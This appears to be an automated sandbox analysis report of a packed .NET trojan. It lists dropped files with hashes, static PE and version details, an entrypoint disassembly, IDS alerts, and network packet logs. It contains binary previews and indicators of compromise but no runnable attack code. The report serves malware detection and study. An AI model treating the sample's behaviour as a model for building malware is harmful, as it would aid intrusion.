Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:7/lll:x
MD5:	F6B463BE7B50F3CC5D911B76002A6B36
SHA1:	C94920D1E0207B0F53D623A96F48D635314924D2
SHA-256:	16E4D1B41517B48CE562349E3895013C6D6A0DF4FCFFC2DA752498E33C4D9078
SHA-512:	4D155DFEDD3D44EDFBBE7AC84D3E81141D4BB665399C2A5CF01605C24BD12E6FAF87BB5B666EA392E1B246005DFABDE2208ED515CD612D34BAC7F965FD6CC57E
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:lX:1
MD5:	2D84AD5CFDF57BD4E3656BCFD9A864EA
SHA1:	B7B82E72891E16D837A54F94960F9B3C83DC5552
SHA-256:	D241584A3FD4A91976FAFD5EC427E88F6E60998954DEC39E388AF88316AF3552
SHA-512:	0D9BC1EE51A4FB91B24E37F85AFBF88376C88345483D686C6CFF84066544287C98534AA701D7D4D52E53F10A3BEA73EE8BC38D18425FDE6D66352F8B76C0CBB5
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:2/l/:S/
MD5:	60476A101249AEDFF09A43E047040191
SHA1:	DE5B6A0ADC7DE7180E19286CF0F13567278CDB64
SHA-256:	35BC77A06BFDDE8C8F3A474C88520262B88C7B8992EE6B2D5CF41DDDC77A83FB
SHA-512:	F1D2DCC562A36434C6C6405EC4EAC7ECFA76FC5A940114DA6F94495B77584A132D5D82AD3556DF749490BE096CFD238FA8B484B7C734CBC4D074E963E5D451F4
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:3X:n
MD5:	AE6FBDED57F9F7D048B95468DDEE47CA
SHA1:	C4473EA845BE2FB5D28A61EFD72F19D74D5FC82E
SHA-256:	D3C9D1FF7B54B653C6A1125CAC49F52070338A2DD271817BBA8853E99C0F33A9
SHA-512:	F119D5AD9162F0F5D376E03A9EA15E30658780E18DD86E81812DDA8DDF59ADDD1DAA0706B2F5486DF8F17429C2C60AA05D4F041A2082FD2EC6EA8CC9469FADE3
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:Wtl:WX
MD5:	D192F7C343602D02E3E020807707006E
SHA1:	82259C6CB5B1F31CC2079A083BC93C726BFC4FBF
SHA-256:	BB4D233C90BDBEE6EF83E40BFF1149EA884EFA790B3BEF496164DF6F90297C48
SHA-512:	AEC90CF52646B5B0EF00CEB2A8D739BEFE456D08551C031E8DEC6E1F549A6535C1870ADB62EEC0A292787AE6A7876388DD1B2C884CBA8CC6E2D7993790102F43
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:s:s
MD5:	2A8875D2AF46255DB8324AAD9687D0B7
SHA1:	7A066FA7B69FB5450C26A1718B79AD27A9021CA9
SHA-256:	54097CCCAE0CFCE5608466BA5A5CA2A3DFEAC536964EEC532540F3B837F5A7C7
SHA-512:	2C39F05A4DFFD30800BB7FBB3FF2018CF4CC96398460B7492F05CE6AFD59079FD6E3EB7C4F8384A35A954A22B4934C162A38534AD76CFB2FD772BCF10E211F7C
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:a/l/:e/
MD5:	F732BF1006B6529CFFBA2B9F50C4B07F
SHA1:	D3E8D4AF812BBC4F4013C53C4FFAB992D1D714E3
SHA-256:	77739084A27CB320F208AC1927D3D9C3CAC42748DBDF6229684EF18352D95067
SHA-512:	064D56217AEB2980A3BFAA1E252404613624D600C3A08B5CF0ADCB259596A1C60EE903FDC2650972785E5AE9B7B51890DED01EC4DA7B4DE94EBDA08AEAF662DF
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:EX:EX
MD5:	FC94FE7BD3975E75CEFAD79F5908F7B3
SHA1:	78E7DA8D08E8898E956521D3B1BABBF6524E1DCA
SHA-256:	EE1ED3B49720B22D5FDA63D3C46D62A96CA8838C76AB2D2F580B1E7745521AA5
SHA-512:	4CEAF9021B30734F4CE8B4D4A057539472E68C0ADD199CF9C3D1C1C95320DA3884CAF46943FC9F7281607AB7FA6476027860EBED8BBAA9C44B3F4056B5E074D3
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	7416
Entropy (8bit):	0.018369280867001292
Encrypted:	false
SSDEEP:	3:tn1lIlt:y
MD5:	C481876E5724DACEEA95544E8D8464B3
SHA1:	AC446C8AE756FF79632A6CDA049A63F753332967
SHA-256:	74D44331B0E0AD282D34B5667F454B593769AB5E24FE00E80975E688939F3792
SHA-512:	788F79C7AFE4D4AC8B37D34753CF9AC290908C87260DF176CFE07DABE8F95E3F686F725485E1F9238719E2DA9810D2E8D1D364636CAC729EC584EC0E7058A22F
Malicious:	false
Preview:	..0 IMMM ...............e...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:6:6
MD5:	379523B9F5D5B954E719B664846DBF8F
SHA1:	930823EC80B85EDD22BAF555CAD21CDF48F066AA
SHA-256:	3C9002CAEDF0C007134A7E632C72588945A4892B6D7AD3977224A6A5A7457BF4
SHA-512:	ECA44DE86BBC3309FA6EAB400154D123DCD97DC1DB79554CE58CE2426854197E2365F5EEE42BAC6E6E9455561B206F592E159EF82FAF229212864894E6021E98
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:V/l/:/
MD5:	5F243BF7CC0A348B6D31460A91173E71
SHA1:	5696B34625F027EC01765FC2BE49EFCFD882BF8E
SHA-256:	1B1AED169F2ACFAE4CF230701BDA91229CB582FF2CE29A413C5B8FE3B890D289
SHA-512:	9E08DFBBF20668B86DF696A0D5969E04E6EE4A67E997FF392099BC7FF184B1B8965502215744BE7FE423668B69099242BBA54DF3F0BFE4E70ACDC7CAD8195B02
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:J:J
MD5:	DB7C049E5E4E336D76D5A744C28C54C8
SHA1:	A4DB9C8586B9E4FA24416EB0D00F06A9EBD16B02
SHA-256:	E8830E7AC4088CF3DD464CAEC33A0035D966A7DE5AE4EFC3580D59A41916FF7B
SHA-512:	B614037FB1C7D19D704BF15F355672114D25080223E7EE4424AD2CB7B89782219E7877B373BBC7FA44F3AD8DF8A27EEF4E8CCC765D44EC02A61E3B7FAE88AE69
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache132561585936642615.txt.~tmp Download File
Process:	C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	113942
Entropy (8bit):	5.192679852203261
Encrypted:	false
SSDEEP:	384:f/Y1U/gT2/Hb/jn/WI/Zk/Ey/eX/NV/CzS/1o/Yd/e6/Wo/ie/L//6Ij/kh2oO/a:izrotYW9Nmri84qgA
MD5:	C0F583E4B7E550A2C45110DF648535C7
SHA1:	23FD5D6DC6FAD4EFE6C8D230BEE44A94B3C0AE22
SHA-256:	ADC27844BB5ECDB42F3614E3F347BFFDBBC95670E96139F35F872F0EEFF6D48A
SHA-512:	5A2F2ACAD92A97DA3EDBFE0E26A78E6EA6FF91CA64BEE73DD75F8A1746D65CD26C461396A0B61D33685CCC8E601C41CA145036ACF668703C35013F081915F0F8
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"Chrome","Type":12},"System.Software.TimesUsed":{"Value":2,"Type":5},"System.Tile.Background":{"Value":4284441448,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"chrome","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.324592461032E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Google\\Chrome\\Application\\chrome.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Google Chrome","Type":12}},{"System.FileExtension":{"Value":".com/","Type"

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\Traces\CortanaTrace1.etl Download File
Process:	C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
File Type:	Targa image data - Map 65536 x 65536 x 0
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.12612858904227983
Encrypted:	false
SSDEEP:	12:GqKVXZ/EyM2xX/7EHIJY6iK8tJRKQ1UMCl2rjoD7CePglyDQqmU9:GqKblbWMY6iKUJ9SMClCjoHCeIlyjb
MD5:	AA5171A81CD83B2A43E07991ED2DD12A
SHA1:	D31D9647C43692172CD69816A8E302A5C90C8B67
SHA-256:	60E8DBC665930E28464E6023919CE1C3D1042690E1F4C35443136541BFAF4EA9
SHA-512:	02D1732A4087C742764A444186BE904A6B2F27327A5586443D3528778CDBD242DF3D06747F109CF3A2BB627F6DDEE9F0F6D91E47858AF0C761ACF235848DB72A
Malicious:	false
Preview:	............................................................................d...........W.f......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................*........ .....W.f.............C.7.C.B.3.E.B.D.-.9.9.8.4.-.4.2.9.F.-.A.4.2.8.-.B.6.E.5.1.2.5.8.A.0.B.5...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.a.c.k.a.g.e.s.\.M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...C.o.r.t.a.n.a._.c.w.5.n.1.h.2.t.x.y.e.w.y.\.T.e.m.p.S.t.a.t.e.\.T.r.a.c.e.s.\.C.o.r.t.a.n.a.T.r.a.c.e.1...e.t.l...........P.P..........9p.....................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42080
Entropy (8bit):	6.2125074198825105
Encrypted:	false
SSDEEP:	384:gc3JOvwWj8Gpw0A67dOpRIMKJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+QsPZw:g4JU8g17dl6Iq88MoBd7mFViqM5sL2
MD5:	F2A47587431C466535F3C3D3427724BE
SHA1:	90DF719241CE04828F0DD4D31D683F84790515FF
SHA-256:	23F4A2CCDCE499C524CF43793FDA8E773D809514B5471C02FA5E68F0CDA7A10B
SHA-512:	E9D0819478DDDA47763C7F5F617CD258D0FACBBBFFE0C7A965EDE9D0D884A6D7BB445820A3FD498B243BBD8BECBA146687B61421745E32B86272232C6F9E90D8
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SlaZL2LqI2.exe, Detection: malicious, Browse Filename: 4NoiNHCNoU.exe, Detection: malicious, Browse Filename: SoPwZKv1Mf.exe, Detection: malicious, Browse Filename: bXFjrxjRlb.exe, Detection: malicious, Browse Filename: Generator.cont.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 560911_P.EXE, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: IMG_61779.pdf.exe, Detection: malicious, Browse Filename: IMG_5391.EXE, Detection: malicious, Browse Filename: czZ769nM6r.exe, Detection: malicious, Browse Filename: IMG_1107.EXE, Detection: malicious, Browse Filename: r3q6Bv8naR.exe, Detection: malicious, Browse Filename: sy1RnlHl8Y.exe, Detection: malicious, Browse Filename: qyMlTIBawC.exe, Detection: malicious, Browse Filename: Qn2AQrgfqJ.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PackedNET.509.28611.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PackedNET.509.17348.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PackedNET.509.7497.exe, Detection: malicious, Browse Filename: IMG_12283.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Z.Z..............0..X...........w... ........@.. ...................................`.................................Hw..O....... ............f..`>...........v............................................... ............... ..H............text....W... ...X.................. ..`.rsrc... ............Z..............@..@.reloc...............d..............@..B................\|w......H........#...Q...................u.......................................0..K........-....i.......r...p.o....,....r...p.o....-.......o......o.....$........o....(....(......:...(....o......r...p.o.......4........o......... ........o......s ........o!...s".....s#.......r]..prg..po$.....r...p.o$.....r...pr...po$.........s.........(%.....tB...r...p(&...&..r...p.('...s(.......o)...&..o....(+...o,.....&...(-...........3..@......R...s.....s....(....:.(/.....}P...J.{P....o0..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.628782115819407
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
File size:	775168
MD5:	25fcc01067cabbf5d1aa3a2f8b18ed50
SHA1:	9f45d2e8e415ab38f42e4edb9b503ce82fed2402
SHA256:	ba4721d93c056ef1763667732344fdc82066d71f0003e18ad03f6d93307b82fe
SHA512:	6bb9a73bfec5a0cb20b16ecaae7d31ef5c8a069d83466b1247046e766204fedd9d8fe86d59856fe143498e27791594494131e31a7d0fea7fe1a16de05ea12a94
SSDEEP:	12288:27r001HnHfNbxp+pPnGUw2DargRxEc3kstvo:Ur00n/mfM/8HUY
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9.q*.....................J........... ........@.. .......................@............`................................

File Icon


Icon Hash:	8aeeae8e96a2d0d6

Static PE Info

General
Entrypoint:	0x4ba6fe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x2A71AA39 [Sat Jul 25 19:23:37 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba6b0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbc000	0x46e6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb8704	0xb8800	False	0.55824705708	data	5.61495245399	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xbc000	0x46e6	0x4800	False	0.153917100694	data	2.48496463764	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc2000	0xc	0x200	False	0.041015625	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xbc130	0x4028	data
RT_GROUP_ICON	0xc0158	0x14	data
RT_VERSION	0xc016c	0x390	data
RT_MANIFEST	0xc04fc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2003 4IJ<EF<2H2?B5?<65J5
Assembly Version	1.0.0.0
InternalName	IMG_4785.exe
FileVersion	4.7.9.11
CompanyName	4IJ<EF<2H2?B5?<65J5
Comments	AE6B@7::I5B26:CFAD:
ProductName	5DC7?JD?CD=C<8::@2I
ProductVersion	4.7.9.11
FileDescription	5DC7?JD?CD=C<8::@2I
OriginalFilename	IMG_4785.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/26/21-19:17:56.119248	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49775	34.102.136.180	192.168.2.4
01/26/21-19:18:16.574495	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49777	34.102.136.180	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2021 19:17:55.940206051 CET	49775	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:17:55.980139971 CET	80	49775	34.102.136.180	192.168.2.4
Jan 26, 2021 19:17:55.980253935 CET	49775	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:17:55.980583906 CET	49775	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:17:56.020441055 CET	80	49775	34.102.136.180	192.168.2.4
Jan 26, 2021 19:17:56.119247913 CET	80	49775	34.102.136.180	192.168.2.4
Jan 26, 2021 19:17:56.119296074 CET	80	49775	34.102.136.180	192.168.2.4
Jan 26, 2021 19:17:56.119566917 CET	49775	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:17:56.119647026 CET	49775	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:17:56.159765959 CET	80	49775	34.102.136.180	192.168.2.4
Jan 26, 2021 19:18:16.393987894 CET	49777	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:18:16.435101986 CET	80	49777	34.102.136.180	192.168.2.4
Jan 26, 2021 19:18:16.435297966 CET	49777	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:18:16.435353041 CET	49777	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:18:16.476150036 CET	80	49777	34.102.136.180	192.168.2.4
Jan 26, 2021 19:18:16.574495077 CET	80	49777	34.102.136.180	192.168.2.4
Jan 26, 2021 19:18:16.574590921 CET	80	49777	34.102.136.180	192.168.2.4
Jan 26, 2021 19:18:16.574881077 CET	49777	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:18:16.574917078 CET	49777	80	192.168.2.4	34.102.136.180
Jan 26, 2021 19:18:16.615082026 CET	80	49777	34.102.136.180	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2021 19:15:27.024445057 CET	63153	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:27.081223965 CET	53	63153	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:28.005300045 CET	52991	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:28.055263042 CET	53	52991	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:28.874692917 CET	53700	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:28.923250914 CET	53	53700	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:29.776381969 CET	51726	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:29.824234009 CET	53	51726	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:30.749382973 CET	56794	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:30.797584057 CET	53	56794	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:31.740092039 CET	56534	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:31.787905931 CET	53	56534	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:32.632246017 CET	56627	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:32.684386969 CET	53	56627	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:32.696290016 CET	56621	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:32.747148037 CET	53	56621	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:33.686146975 CET	63116	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:33.734003067 CET	53	63116	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:34.584127903 CET	64078	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:34.635238886 CET	53	64078	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:35.543693066 CET	64801	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:35.595021009 CET	53	64801	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:36.322415113 CET	61721	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:36.370259047 CET	53	61721	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:37.251609087 CET	51255	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:37.302993059 CET	53	51255	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:51.065363884 CET	61522	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:51.116044044 CET	53	61522	8.8.8.8	192.168.2.4
Jan 26, 2021 19:15:57.363372087 CET	52337	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:15:57.423877001 CET	53	52337	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:14.392684937 CET	55046	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:14.440687895 CET	53	55046	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:16.078816891 CET	49612	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:16.137025118 CET	53	49612	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:19.638396978 CET	49285	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:19.702785969 CET	53	49285	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:20.697467089 CET	50601	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:20.773297071 CET	53	50601	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:21.516798019 CET	60875	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:21.576582909 CET	53	60875	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:22.527643919 CET	56448	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:22.587239027 CET	53	56448	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:24.613257885 CET	59172	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:24.664139986 CET	53	59172	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:25.417870045 CET	62420	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:25.474555016 CET	53	62420	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:26.287581921 CET	60579	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:26.348815918 CET	53	60579	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:27.186872005 CET	50183	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:27.245357037 CET	53	50183	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:28.412652969 CET	61531	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:28.463732958 CET	53	61531	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:30.456523895 CET	49228	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:30.521622896 CET	53	49228	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:31.110861063 CET	59794	53	192.168.2.4	8.8.8.8
